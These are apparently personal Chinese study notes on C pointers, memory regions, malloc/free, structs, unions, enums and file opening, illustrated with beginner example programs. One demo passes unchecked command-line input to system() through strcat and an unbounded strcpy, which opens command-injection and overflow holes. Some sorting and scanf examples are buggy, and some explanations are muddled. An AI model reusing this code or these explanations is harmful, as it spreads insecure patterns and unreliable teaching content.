1.指针
1. 指针和指针变量
1)内存区的每一个字节都有一个编号,这就是“地址”。
2)如果在程序中定义了一个变量,在对程序进行编译或运行时,系统就会给这个变量分配内存单元,并确定它的内存地址(编号)
3)指针的实质就是内存“地址”。指针就是地址,地址就是指针。
4)指针是内存单元的编号,指针变量是存放地址的变量。
5)通常我们叙述时会把指针变量简称为指针,实际他们含义并不一样。
2 指针基础知识
2.1 指针变量的定义和使用
指针也是一种数据类型,指针变量也是一种变量
指针变量指向谁,就把谁的地址赋值给指针变量
“*”操作符操作的是指针变量指向的内存空间
注意:&可以取得一个变量在内存中的地址。但是,不能取寄存器变量,因为寄存器变量不在
内存里,而在CPU里面,所以是没有地址的。
2.2 通过指针间接修改变量的值
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int a = 10 ;
int * p = & a;
* p = 20 ;
printf ( "%d\n" , a) ;
return 0 ;
}
2.3 指针大小
1)使用sizeof()测量指针的大小,得到的总是:4或8
2)sizeof()测的是指针变量指向存储地址的大小
3)在32位平台,所有的指针(地址)都是32位(4字节)
4)在64位平台,所有的指针(地址)都是64位(8字节)
2.4 野指针和空指针
指针变量也是变量,是变量就可以任意赋值,不要越界即可(32位为4字节,64位为8字
节),但是,任意数值赋值给指针变量没有意义,因为这样的指针就成了野指针,此指针指向
的区域是未知(操作系统不允许操作此指针指向的内存区域)。所以,野指针不会直接引
发错误,操作野指针指向的内存区域才会出问题。
但是,野指针和有效指针变量保存的都是数值,为了标志此指针变量没有指向任何变量
(空闲可用),C语言中,可以把NULL赋值给此指针,这样就标志此指针为空指针,没有任何
指针。
因此,在日常的操作中,如果出现的是野指针,一是会出现不知道具体指针所指的地址
情况,二是当赋值内容为0~255的内存地址的时候,会由于没有访问权限而报错,因此,在
日常的使用中,尽量避免野指针的出现;对于空指针,我们一般是通过关注其的NULL值,一
般情况下,以此来作为条件判断的一个条件。
2.5万能指针void *
void *指针可以指向任意变量的内存空间,可以通过万能指针我们来接收任意类型的数
据,但是在后续的操作中,一般都是会进行强制类型转换转换为所对应的数据类型。
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int a = 10 ;
void * p = & a;
* ( int * ) p = 20 ;
printf ( "%d\n" , a) ;
void * p1 = NULL ;
int b = 10 ;
p = ( void * ) & b;
return 0 ;
}
2.6 const修饰的指针变量
1.当const修饰*时,所对应的变量的值是不可以修改的,但是指针本身所指的内存地址
是可以修改的。
2.当const修饰指针变量的时,指针所指向的内存地址的值是不可以修改的,但是指针所
指向的变量的值是可以修改的
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int a = 10 ;
int b = 20 ;
const int * p1 = & a;
p1 = & b;
int c = 60 ;
int d = 70 ;
int * const p2 = & c;
* p2 = 70 ;
return 0 ;
}
3.指针和数组
3.1 数组名
数组名字是数组的首元素地址,但它是一个常量。
3.2 指针操作数组元素
指针每加1,对应的就会跳过一个指针数据类型的大小,有以下两种定义方式:
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int arr1[ 5 ] = { 3 , 4 , 2 , 1 , 5 } ;
int * p1 = arr1;
int len1 = sizeof ( arr1) / sizeof ( arr1[ 0 ] ) ;
for ( int i = 0 ; i < len1; i++ )
{
printf ( "%d " , * ( p1 + i) ) ;
}
printf ( "\n" ) ;
int arr2[ 5 ] = { 8 , 6 , 9 , 4 , 7 } ;
int * p2 = arr2;
int len2 = sizeof ( arr2) / sizeof ( arr2[ 0 ] ) ;
for ( int i = 0 ; i < len1; i++ )
{
printf ( "%d " , p2[ i] ) ;
}
printf ( "\n" ) ;
return 0 ;
}
3.3 指针加减运算
1)加法运算
如果是一个int *,+1的结果是增加一个int的大小
如果是一个char *,+1的结果是增加一个char大小
2)减法运算
如果是一个int *,-1的结果是减少一个int的大小
如果是一个char *,-1的结果是减少一个char大小
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int arr1[ 5 ] = { 3 , 4 , 2 , 1 , 5 } ;
int * p1 = arr1;
int len1 = sizeof ( arr1) / sizeof ( arr1[ 0 ] ) ;
for ( int i = 0 ; i < len1; i++ )
{
printf ( "%d " , * p1) ;
p1++ ;
}
printf ( "\n" ) ;
int arr2[ 5 ] = { 8 , 6 , 9 , 4 , 7 } ;
int * p2 = & arr2[ 4 ] ;
int len2 = sizeof ( arr2) / sizeof ( arr2[ 0 ] ) ;
for ( int i = 0 ; i < len1; i++ )
{
printf ( "%d " , * p2) ;
p2-- ;
}
printf ( "\n" ) ;
return 0 ;
}
3.4 指针数组
指针数组中,数组的每个元素都是指针类型。
案例:对指针数组中的元素,按首字母顺序进行排序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( )
{
char c = 0 ;
char * arr[ ] = { "hello" , "world" , "nihao" , "baobei" } ;
for ( int i = 0 ; i < 4 ; i++ )
{
int len = strlen ( arr[ i] ) ;
printf ( "%d\n" , len) ;
for ( int j = 0 ; j < len - 1 ; j++ )
{
for ( int k = j + 1 ; k < len - 1 ; k++ )
{
if ( strcmp ( arr[ j] , arr[ k] ) > 0 )
{
char * c = arr[ j] ;
arr[ j] = arr[ k] ;
arr[ k] = c;
}
}
}
}
for ( int i = 0 ; i < 4 ; i++ )
{
printf ( "%s\n" , arr[ i] ) ;
}
return 0 ;
}
3.5 多级指针
C语言允许有多级指针存在,在实际的程序中一级指针最常用,其次是二级指针。
二级指针就是指向一个一级指针变量地址的指针。
4 指针和函数
4.1 函数形参改变实参的值
通过值传递,只会在掉用的子函数中值发生改变,在子函数执行完毕后系统就会自动销毁
子函数,其本质其实可以理解为系统自动复制了一份相同名字的变量进行操作,在执行玩操作
后销毁函数,而地址传递不会出现这种问题,地址传递其实就是通过改变对应地址所对应的值
从而改变变量的值,而不是拷贝操作。
#define _CRT_SECURE_NO_WARNNINGS
#include <stdio.h>
#include <string.h>
int main ( )
{
int a = 10 ;
int * p1 = & a;
int * * p2 = & p1;
int * * * p3 = & p2;
* * * p3 = 300 ;
printf ( "%d\n" , a) ;
* * p2 = 200 ;
printf ( "%d\n" , a) ;
* p1 = 100 ;
printf ( "%d\n" , a) ;
return 0 ;
}
4.2 数组名做函数参数
数组名做函数参数,函数的形参会退化为指针,因此,当数组作为函数参数的时候,必须
要对长度进行赋值,因为数组作为参数的时候,会退化为指针。
#include <stdio.h>
void printArrary ( int * a, int n)
{
int i = 0 ;
for ( i = 0 ; i < n; i++ )
{
printf ( "%d, " , a[ i] ) ;
}
printf ( "\n" ) ;
}
int main ( )
{
int a[ ] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 } ;
int n = sizeof ( a) / sizeof ( a[ 0 ] ) ;
printArrary ( a, n) ;
return 0 ;
}
4.3 指针做为函数的返回值
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char * test01 ( )
{
char * arr = "hello world" ;
return arr;
}
int main ( )
{
char * p = test01 ( ) ;
printf ( "%p\n" , p) ;
printf ( "%s\n" , p) ;
return 0 ;
}
5 指针和字符串
5.1 字符指针做函数参数
案例:字符串反转
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char * reserveStr ( char * ch, int len)
{
char * p = ch;
for ( int i = 0 ; i < len / 2 ; i++ )
{
char c = * ( p+ i) ;
* ( p + i) = * ( p+ ( len - 1 - i) ) ;
* ( p + ( len - 1 - i) ) = c;
}
return ch;
}
int main ( )
{
char ch[ ] = "hello world" ;
int len = sizeof ( ch) / sizeof ( ch[ 0 ] ) - 1 ;
printf ( "%s\n" , reserveStr ( ch, len) ) ;
return 0 ;
}
5.2 const修饰的指针变量
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( void )
{
const int a = 10 ;
char buf[ ] = "aklgjdlsgjlkds" ;
const char * p = buf;
p = "agdlsjaglkdsajgl" ;
char * const p2 = buf;
p2[ 1 ] = '3' ;
const char * const p3 = buf;
return 0 ;
}
5.3 指针数组做为main函数的形参
int main(int argc, char *argv[]);
main函数是操作系统调用的,第一个参数标明argv数组的成员数量,argv数组的每个成
员都是char *类型
argv是命令行参数的字符串数组
argc代表命令行参数的数量,程序名字本身算一个参数
案例:实现一个简单的类似gcc编译过程(仅字符串操作)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( int argc, char * argv[ ] )
{
if ( argc <= 1 )
{
printf ( "缺少参数\n" ) ;
return - 1 ;
}
char arr[ 1000 ] ;
char temp[ 256 ] ;
strcpy ( arr, "gcc -o" ) ;
strcpy ( temp, argv[ 1 ] ) ;
char * p = strtok ( temp, "." ) ;
strcat ( arr, p) ;
strcat ( arr, " " ) ;
strcat ( arr, argv[ 1 ] ) ;
system ( arr) ;
return 0 ;
}
2.内存管理
2.1 不同变量的作用域
2.1.1 局部变量
局部变量也叫auto自动变量(auto可写可不写),一般情况下代码块{}内部定义的变量都是自动变量,它有如下特点:
1.在一个函数内定义,只在函数范围内有效
2.在复合语句中定义,只在复合语句中有效
3.随着函数调用的结束或复合语句的结束局部变量的声明声明周期也结束
4.如果没有赋初值,内容为随机
5.auto关键字只能出现在{}内部
2.1.2 静态(static)局部变量
1.static局部变量的作用域也是在定义的函数内有效
2.static局部变量的生命周期和程序运行周期一样,同时staitc局部变量的值只初始化一次,但可以赋值多次
3.static局部变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋空字符
2.1.3 全局变量
1.在函数外定义,可被本文件及其它文件中的函数所共用,若其它文件中的函数调用此变量,须用extern声明
2.全局变量的生命周期和程序运行周期一样
3.不同文件的全局变量不可重名
4.全局变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋
空字符。
2.1.4 静态(static)全局变量
1.在函数外定义,作用范围被限制在所定义的文件中
2.不同文件静态全局变量可以重名,但作用域不冲突
3.static全局变量的生命周期和程序运行周期一样,同时staitc全局变量的值只初始化一次
4.全局变量若未赋以初值,则由系统自动赋值:数值型变量自动赋初值0,字符型变量赋
空字符。
2.1.5 extern全局变量声明
extern int a:声明一个变量,这个变量在别的文件中已经定义了,这里只是声明,而
不是定义,声明时,不会分配空间。
2.1.6 全局函数和静态函数
在C语言中函数默认都是全局的,使用关键字static可以将函数声明为静态,函数定义为
static就意味着这个函数只能在定义这个函数的文件中使用,在其他文件中不能调用,即使在
其他文件中声明这个函数都没用。
对于不同文件中的staitc函数名字可以相同。
注:
1.允许在不同的函数中使用相同的变量名,它们代表不同的对象,分配不同的单元,互不干扰。
2.同一源文件中,允许全局变量和局部变量同名,在局部变量的作用域内,全局变量不起作用。
3.所有的函数默认都是全局的,意味着所有的函数都不能重名,但如果是staitc函数,
那么作用域是文件级的,所以不同的文件static函数名是可以相同的。
2.2 内存布局
2.2.1 内存分区
C代码经过预处理、编译、汇编、链接4步后生成一个可执行程序。在 Linux 下,程
序是一个普通的可执行文件,程序没有加载到内存前,可执行程序内部已经分好3段信息,
分别为代码区(text)、数据区(data)和未初始化数据区(bss)3 个部分(有些人直
接把data和bss合起来叫做静态区或全局区)。
1.代码区
存放 **CPU 执行的机器指令**。通常代码区是可共享的(即另外的执行程序可以调用它),
使其可共享的目的是对于频繁被执行的程序,只需要在内存中有一份代码即可。代码区通
常是只读的,使其只读的原因是防止程序意外地修改了它的指令。另外,代码区还规划了
局部变量的相关信息。
加载的是可执行文件代码段,所有的可执行代码都加载到代码区,这块内存是不可以
在运行期间修改的。
2.全局初始化数据区/静态数据区(data段)
该区包含了**在程序中明确被初始化的全局变量、已经初始化的静态变量(包括全局静
态变量和局部静态变量)和常量数据(如字符串常量)。**
加载的是可执行文件BSS段,位置可以分开亦可以紧靠数据段,存储于数据段的数据
(全局未初始化,静态未初始化数据)的生存周期为整个程序运行过程。
3.未初始化数据区(又叫 bss 区)
存入的是**全局未初始化变量和未初始化静态变量。**未初始化数据区的数据在程序开始
执行之前被内核初始化为 0 或者空(NULL)。
程序在加载到内存前,代码区和全局区(data和bss)的大小就是固定的,程序运行期
间不能改变。然后,运行可执行程序,系统把程序加载到内存,除了根据可执行程序的信
息分出代码区(text)、数据区(data)和未初始化数据区(bss)之外,还额外增加了
栈区、堆区。
加载的是可执行文件数据段,存储于数据段(全局初始化,静态初始化数据,文字常
量(只读))的数据的生存周期为整个程序运行过程。
***故2和3共同构成了数据区,存储相对应的各类变量以及常量。***
4.栈区(stack)
栈是一种先进后出的内存结构,由编译器自动分配释放,**存放函数的参数值、返回值、
局部变量**等。在程序运行过程中实时加载和释放,因此,局部变量的生存周期为申请到释
放该段栈空间。
内存大小一般大小为1M左右。
5.堆区(heap)
堆是一个大容器,它的容量要远远大于栈,但没有栈那样先进后出的顺序。用于动态
内存分配。堆在内存中位于BSS区和栈区之间。一般由程序员分配和释放,若程序员不释
放,程序结束时由操作系统回收。
内存大小与物理内存有关。
存储类型总结:
类型 作用域 生命周期 存储位置
auto变量 一对{}内 当前函数 栈区
static局部变量 一对{}内 整个程序运行期 初始化在data段,未初始化在BSS段
extern变量 整个程序 整个程序运行期 初始化在data段,未初始化在BSS段
static全局变量 当前文件 整个程序运行期 初始化在data段,未初始化在BSS段
extern函数 整个程序 整个程序运行期 代码区
static函数 当前文件 整个程序运行期 代码区
register变量 一对{}内 当前函数 运行时存储在CPU寄存器
字符串常量 当前文件 整个程序运行期 data段
各类变量存储关联如下代码所示:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int e;
int f = 10 ;
static int g;
static int h = 10 ;
int main ( )
{
int a = 10 ;
static int b;
static int c = 10 ;
int i[ 10 ] ;
int j[ 10 ] = { 0 } ;
int * k;
int * l = & a;
const int m = 100 ;
char * p = "hello world" ;
char ch[ ] = "hello world" ;
printf ( "局部变量a的地址:%p\n" , & a) ;
printf ( "未初始化静态局部变量b的地址:%p\n" , & b) ;
printf ( "初始化静态局部变量c的地址:%p\n" , & c) ;
printf ( "未初始化全局变量e的地址:%p\n" , & e) ;
printf ( "初始化全局变量f的地址:%p\n" , & f) ;
printf ( "未初始化静态全局变量g的地址:%p\n" , & g) ;
printf ( "初始化静态全局变量h的地址:%p\n" , & h) ;
printf ( "未初始化数组i的地址:%p\n" , i) ;
printf ( "初始化数组j的地址:%p\n" , j) ;
printf ( "未初始化指针k的地址:%p\n" , & k) ;
printf ( "初始化指针l的地址:%p\n" , & l) ;
printf ( "常量m的地址为:%p\n" , & m) ;
printf ( "字符串常量p的地址:%p\n" , p) ;
printf ( "字符数组ch的地址:%p\n" , ch) ;
return 0 ;
}
2.3 存储类型总结内存操作函数
2.3.1 memset()
#include <string.h>
void *memset(void *s, int c, size_t n);
功能:将s的内存区域的前n个字节以参数c填入
参数:
s:需要操作内存s的首地址
c:填充的字符,c虽然参数为int,但必须是unsigned char , 范围为0~255
n:指定需要设置的大小
返回值:s的首地址
2.3.2 memcpy()
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
功能:拷贝src所指的内存内容的前n个字节到dest所值的内存地址上。
参数:
dest:目的内存首地址
src:源内存首地址,注意:dest和src所指的内存空间不可重叠
n:需要拷贝的字节数
返回值:dest的首地址
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( )
{
int arr[ 10 ] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 } ;
memcpy ( & arr[ 2 ] , arr, 20 ) ;
for ( int i = 0 ; i < 10 ; i++ )
{
printf ( "%d\n" , arr[ i] ) ;
}
return 0 ;
}
2.3.3 memmove()
memmove()功能用法和memcpy()一样,区别在于:dest和src所指的内存空间重叠时,memmove()仍然能处理,不过执行效率比memcpy()低些。
2.3.4 memcmp()
#include <string.h>
int memcmp(const void *s1, const void *s2, size_t n);
功能:比较s1和s2所指向内存区域的前n个字节
参数:
s1:内存首地址1
s2:内存首地址2
n:需比较的前n个字节
返回值:
相等:=0
大于:>0
小于:<0
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( )
{
int arr[ 10 ] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 } ;
memmove ( & arr[ 2 ] , arr, 20 ) ;
int a = 10 ;
char b = 10 ;
if ( ! memcmp ( & a, & b, 1 ) )
{
printf ( "内容相同\n" ) ;
}
else
{
printf ( "内容不相同\n" ) ;
}
return 0 ;
}
2.4 堆区内存分配和释放
2.4.1 malloc()
#include <stdlib.h>
void *malloc(size_t size);
功能:在内存的动态存储区(堆区)中分配一块长度为size字节的连续区域,用来存放类型
说明符指定的类型。分配的内存空间内容不确定,一般使用memset初始化。
参数:
size:需要分配内存大小(单位:字节)
返回值:
成功:分配空间的起始地址
失败:NULL
2.4.2 free()
#include <stdlib.h>
void free(void *ptr);
功能:释放ptr所指向的一块内存空间,ptr是一个任意类型的指针变量,指向被释放区域
的首地址。对同一内存空间多次释放会出错。
参数:
ptr:需要释放空间的首地址,被释放区应是由malloc函数所分配的区域。
返回值:无
案例:在堆区实现登记学生成绩并按总成绩排序:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( )
{
int * * p = ( int * * ) malloc ( sizeof ( int * ) * 3 ) ;
int * sum = ( int * ) malloc ( sizeof ( int ) * 3 ) ;
p[ 0 ] = ( int * ) malloc ( sizeof ( int ) * 3 ) ;
p[ 1 ] = ( int * ) malloc ( sizeof ( int ) * 3 ) ;
p[ 2 ] = ( int * ) malloc ( sizeof ( int ) * 3 ) ;
if ( p == NULL || p[ 0 ] == NULL || p[ 1 ] == NULL || p[ 2 ] == NULL || sum == NULL )
{
printf ( "内存分配失败!\n" ) ;
}
else
{
for ( int i = 0 ; i < 3 ; i++ )
{
for ( int j = 0 ; j < 3 ; j++ )
{
p[ i] [ j] = 80 + j+ i;
}
}
for ( int i = 0 ; i < 3 ; i++ )
{
sum[ i] = 0 ;
for ( int j = 0 ; j < 3 ; j++ )
{
sum[ i] + = p[ i] [ j] ;
}
printf ( "第%d个学生的成绩为:%d\n" , i+ 1 , sum[ i] ) ;
}
for ( int i = 0 ; i < 3 ; i++ )
{
for ( int j = 0 ; j < 3 - 1 - i; j++ )
{
if ( ( * ( sum+ j) ) < ( * ( sum + j+ 1 ) ) )
{
int temp = * ( sum + j) ;
* ( sum + j) = * ( sum + j + 1 ) ;
* ( sum + j + 1 ) = temp;
}
}
}
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "%d " , sum[ i] ) ;
}
free ( p[ 0 ] ) ;
free ( p[ 1 ] ) ;
free ( p[ 2 ] ) ;
free ( sum) ;
}
free ( p) ;
return 0 ;
}
3.结构体
3.1 结构体变量的定义和初始化以及内存空间
定义结构体变量的方式:
1.先声明结构体类型再定义变量名
2.在声明类型的同时定义变量
3.直接定义结构体类型变量(无类型名)
结构体类型和结构体变量关系:
结构体类型:指定了一个结构体类型,它相当于一个模型,但其中并无具体数据,系统对
之也不分配实际内存单元。
结构体变量:系统根据结构体类型(内部成员状况)为之分配空间。
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct stuViews
{
char name[ 21 ] ;
unsigned int age;
char tel[ 16 ] ;
float scores[ 3 ] ;
char sex;
} stu1, stu2, stu3;
int main ( )
{
printf ( "学生的姓名为:%s\n" , stu1. name) ;
printf ( "学生的年龄为:%d\n" , stu1. age) ;
printf ( "学生的电话为:%s\n" , stu1. tel) ;
printf ( "学生的语文成绩为:%.1f\n" , stu1. scores[ 0 ] ) ;
printf ( "学生的数学成绩为:%.1f\n" , stu1. scores[ 1 ] ) ;
printf ( "学生的英语成绩为:%.1f\n" , stu1. scores[ 2 ] ) ;
printf ( "学生的性别为:%c\n" , stu1. sex) ;
printf ( "结构体大小为:%d\n" , sizeof ( stu1) ) ;
return 0 ;
}
3.2 结构体嵌套结构体
在一个结构体中,某一成员变量的类型为另外一个结构体。
案例:学生成绩
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct stuViews
{
char name[ 20 ] ;
float scores[ 3 ] ;
} ;
struct stuGarde
{
struct stuViews s[ 3 ] ;
int sumGrade;
} sumGrade[ 3 ] , temp;
int main ( )
{
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "定义顺序:姓名,成绩(语数英)\n" ) ;
scanf ( "%s%f%f%f%" , & sumGrade[ i] . s-> name, & sumGrade[ i] . s-> scores[ 0 ] , & sumGrade[ i] . s-> scores[ 1 ] , & sumGrade[ i] . s-> scores[ 2 ] ) ;
sumGrade[ i] . sumGrade = sumGrade[ i] . s-> scores[ 0 ] + sumGrade[ i] . s-> scores[ 1 ] + sumGrade[ i] . s-> scores[ 2 ] ;
}
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "学生的姓名为:%s\n" , sumGrade[ i] . s-> name) ;
printf ( "学生的语文成绩为:%.1f\n" , sumGrade[ i] . s-> scores[ 0 ] ) ;
printf ( "学生的数学成绩为:%.1f\n" , sumGrade[ i] . s-> scores[ 1 ] ) ;
printf ( "学生的英语成绩为:%.1f\n" , sumGrade[ i] . s-> scores[ 2 ] ) ;
}
for ( int i = 0 ; i < 3 ; i++ )
{
for ( int j = 0 ; j < 2 - i; j++ )
{
if ( sumGrade[ j] . sumGrade < sumGrade[ j+ 1 ] . sumGrade)
{
temp = sumGrade[ j] ;
sumGrade[ j] = sumGrade[ j + 1 ] ;
sumGrade[ j + 1 ] = temp;
}
}
}
printf ( "学生的总成绩排名为:\n" ) ;
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "学生的姓名为:%s,总成绩为:%d\n" , sumGrade[ i] . s-> name, sumGrade[ i] . sumGrade) ;
}
return 0 ;
}
3.3 结构体与指针
1)结构体成员为指针
2)结构体指针
3)堆空间开辟结构体
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct stuinfo
{
char * name;
int age;
} stu;
struct tec
{
char * name;
int age;
} t;
int main ( )
{
struct tec* p = malloc ( sizeof ( t) ) ;
p-> name = ( char * ) malloc ( sizeof ( char ) * 21 ) ;
strcpy ( p-> name, "张三" ) ;
p-> age = 18 ;
printf ( "%s %d\n" , p-> name, p-> age) ;
if ( p-> name)
{
free ( p-> name) ;
p-> name = NULL ;
}
if ( p)
{
free ( p) ;
p = NULL ;
}
return 0 ;
}
案例:在堆中开辟空间存储学生成绩:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct stuViews
{
char * name;
float * scores;
} ;
int main ( )
{
struct stuViews* stuInfo = ( struct stuViews* ) malloc ( sizeof ( struct stuViews) * 3 ) ;
struct stuViews* temp = ( struct stuViews* ) malloc ( sizeof ( struct stuViews) ) ;
float * sumGrade = malloc ( sizeof ( float ) * 3 ) ;
for ( int i = 0 ; i < 3 ; i++ )
{
( stuInfo + i) -> name = ( char * ) malloc ( sizeof ( char ) * 20 ) ;
( stuInfo + i) -> scores = ( float * ) malloc ( sizeof ( float ) * 3 ) ;
printf ( "请输入学生的姓名,各科目成绩(语数外):\n" ) ;
scanf ( "%s%f%f%f" , ( stuInfo + i) -> name, & ( stuInfo + i) -> scores[ 0 ] , & ( stuInfo + i) -> scores[ 1 ] , & ( stuInfo + i) -> scores[ 2 ] ) ;
}
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "学生的姓名为:%s\n" , ( stuInfo + i) -> name) ;
printf ( "学生的语文成绩为:%.1f\n" , ( stuInfo + i) -> scores[ 0 ] ) ;
printf ( "学生的数学成绩为:%.1f\n" , ( stuInfo + i) -> scores[ 1 ] ) ;
printf ( "学生的英语成绩为:%.1f\n" , ( stuInfo + i) -> scores[ 2 ] ) ;
}
for ( int i = 0 ; i < 2 ; i++ )
{
sumGrade[ i] = ( stuInfo + i) -> scores[ 0 ] + ( stuInfo + i) -> scores[ 1 ] + ( stuInfo + i) -> scores[ 2 ] ;
sumGrade[ i + 1 ] = ( stuInfo + i + 1 ) -> scores[ 0 ] + ( stuInfo + i + 1 ) -> scores[ 1 ] + ( stuInfo + i + 1 ) -> scores[ 2 ] ;
for ( int j = 0 ; j < 2 - i; j++ )
{
if ( sumGrade[ i] < sumGrade[ i + 1 ] )
{
* temp = stuInfo[ j] ;
stuInfo[ j] = stuInfo[ j+ 1 ] ;
stuInfo[ j+ 1 ] = * temp;
}
}
}
printf ( "学生的总成绩排名为:\n" ) ;
for ( int i = 0 ; i < 3 ; i++ )
{
printf ( "学生的姓名为:%s\n" , ( stuInfo + i) -> name) ;
printf ( "\t学生的语文成绩为:%.1f" , ( stuInfo + i) -> scores[ 0 ] ) ;
printf ( "\t学生的数学成绩为:%.1f" , ( stuInfo + i) -> scores[ 1 ] ) ;
printf ( "\t学生的英语成绩为:%.1f\n" , ( stuInfo + i) -> scores[ 2 ] ) ;
free ( ( stuInfo + i) -> name) ;
free ( ( stuInfo + i) -> scores) ;
}
free ( temp) ;
free ( stuInfo) ;
free ( sumGrade) ;
return 0 ;
}
4.共用体(联合体)
4.1 概述
联合union是一个能在同一个存储空间存储不同类型数据的类型;
联合体所占的内存长度等于其最长成员的长度,也有叫做共用体;
同一内存段可以用来存放几种不同类型的成员,但每一瞬时只有一种起作用;
共用体变量中起作用的成员是最后一次存放的成员,在存入一个新的成员后原有的成员的值会被覆盖;
共用体变量的地址和它的各成员的地址都是同一地址。
#include <stdio.h>
union Test
{
char a;
int b;
short c;
} ;
int main ( )
{
union Test tmp;
printf ( "%p, %p, %p\n" , & ( tmp. a) , & ( tmp. b) , & ( tmp. c) ) ;
printf ( "%lu\n" , sizeof ( union Test) ) ;
tmp. b = 0x44332211 ;
printf ( "%x\n" , tmp. a) ;
printf ( "%x\n" , tmp. c) ;
tmp. a = 0x00 ;
printf ( "short: %x\n" , tmp. c) ;
printf ( "int: %x\n" , tmp. b) ;
return 0 ;
}
5 枚举
枚举:将变量的值一一列举出来,变量的值只限于列举出来的值的范围内。
在枚举值表中应列出所有可用值,也称为枚举元素。
枚举值是常量,不能在程序中用赋值语句再对它赋值。
枚举元素本身由系统定义了一个表示序号的数值从0开始顺序定义为0,1,2 …
#include <stdio.h>
enum weekday
{
sun = 2 , mon, tue = 10 , wed, thu, fri, sat
} ;
int main ( )
{
enum weekday a, b, c,d;
a = sun;
b = mon;
c = tue;
d = wed;
printf ( "%d,%d,%d,%d\n" , a, b, c, d) ;
return 0 ;
}
6.文件操作
6.1文件分类
6.1.1磁盘文件和设备文件
磁盘文件:指一组相关数据的有序集合,通常存储在外部介质(如磁盘)上,使用时才调入
内存。
设备文件:在操作系统中把每一个与主机相连的输入、输出设备看作是一个文件,把它们
的输入、输出等同于对磁盘文件的读和写。
6.1.2 磁盘文件的分类
计算机的存储在物理上是二进制的,所以物理上所有的磁盘文件本质上都是一样的:以字节
为单位进行顺序存储。
从用户或者操作系统使用的角度(逻辑上)把文件分为:
文本文件:基于字符编码的文件
二进制文件:基于值编码的文件
6.1.3 文本文件和二进制文件
1)文本文件
基于字符编码,常见编码有ASCII、UNICODE等
一般可以使用文本编辑器直接打开
数5678的以ASCII存储形式(ASCII码)为:00110101 00110110 00110111 00111000
2)二进制文件
基于值编码,自己根据具体应用,指定某个值是什么意思
把内存中的数据按其在内存中的存储形式原样输出到磁盘上
数5678的存储形式(二进制码)为:00010110 00101110
6.2 文件的打开和关闭
6.2.1 文件指针
在C语言中用一个指针变量指向一个文件,这个指针称为文件指针。
FILE是系统使用typedef定义出来的有关文件信息的一种结构体类型,结构中含有文件名、
文件状态和文件当前位置等信息。
声明FILE结构体类型的信息包含在头文件“stdio.h”中,一般设置一个指向FILE类型变量
的指针变量,然后通过它来引用这些FILE类型变量。通过文件指针就可对它所指的文件进行各
种操作。
C语言中有三个特殊的文件指针由系统默认打开,用户无需定义即可直接使用:
stdin: 标准输入,默认为当前终端(键盘),我们使用的scanf、getchar函数默认从
此终端获得数据。
stdout:标准输出,默认为当前终端(屏幕),我们使用的printf、puts函数默认输出
信息到此终端。
stderr:标准出错,默认为当前终端(屏幕),我们使用的perror函数默认输出信息到
此终端。
6.2.2 文件的打开
任何文件使用之前必须打开:
#include <stdio.h>
FILE * fopen(const char * filename, const char * mode);
功能:打开文件
参数:
filename:需要打开的文件名,根据需要加上路径
mode:打开文件的模式设置
返回值:
成功:文件指针
失败:NULL
第一个参数的几种形式:
//相对路径:
//打开当前目录passdw文件:源文件(源程序)所在目录 “文件名”
//打开当前目录(test)下文件 “./test/文件名”
//打开当前目录上一级目录(相对当前目录)文件 “../文件名”
//绝对路径:
//打开C盘test目录下一个叫passwd.txt文件 "c://test//passwd.txt"
第二个参数的几种形式(打开文件的方式):
r或rb 以只读方式打开一个文本文件(不创建文件,若文件不存在则报错)
w或wb 以写方式打开文件(如果文件存在则清空文件,文件不存在则创建一个文件)
a或ab 以追加方式打开文件,在末尾添加内容,若文件不存在则创建文件
r+或rb+ 以可读、可写的方式打开文件(不创建新文件)
w+或wb+ 以可读、可写的方式打开文件(如果文件存在则清空文件,文件不存在则创建一个文件)
a+或ab+ 以添加方式打开文件,打开文件并在末尾更改文件,若文件不存在则创建文件
注意:
使用r+/w+的时候,在同一时间只能有一种操作。
b是二进制模式的意思,b只是在Windows有效,在Linux用r和rb的结果是一样的
Unix和Linux下所有的文本文件行都是\n结尾,而Windows所有的文本文件行都是
\r\n结尾。
在Windows平台下,以“文本”方式打开文件,不加b:
当读取文件的时候,系统会将所有的 "\r\n" 转换成 "\n"
当写入文件的时候,系统会将 "\n" 转换成 "\r\n" 写入
以"二进制"方式打开文件,则读\写都不会进行这样的转换
在Unix/Linux平台下,“文本”与“二进制”模式没有区别,"\r\n" 作为两个字符原
